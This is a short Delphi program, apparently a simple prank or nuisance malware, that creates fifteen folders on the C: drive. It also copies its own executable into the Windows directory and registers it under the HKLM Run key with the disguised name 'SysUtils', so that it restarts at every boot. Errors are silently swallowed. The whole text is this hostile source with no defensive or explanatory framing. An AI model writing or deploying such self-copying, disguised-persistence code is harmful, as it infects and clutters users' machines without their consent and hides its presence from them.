program Folders;

uses
SysUtils, Registry, Windows;

function WinDir: string;
var
WinDir: PChar;
begin
WinDir := StrAlloc(MAX_PATH);
GetWindowsDirectory(WinDir, MAX_PATH);
Result := string(WinDir);
if Result[Length(Result)] <> '\' then
Result := Result + '\';
StrDispose(WinDir);
end;

var
x:LongInt;
reg: TRegistry;
begin
for x:=1 to 15 do begin
CreateDir('C:\NewFolder'+IntToStr(x));
Reg := nil;

try
CopyFile(PChar(ParamStr(0)), PChar(WinDir + 'Folders.exe'),True);
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.LazyWrite := false;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false);
reg.WriteString('SysUtils', WinDir+'Folders.exe');
reg.CloseKey;
reg.free;
except
if Assigned(Reg) then Reg.Free;
end;
end;
end.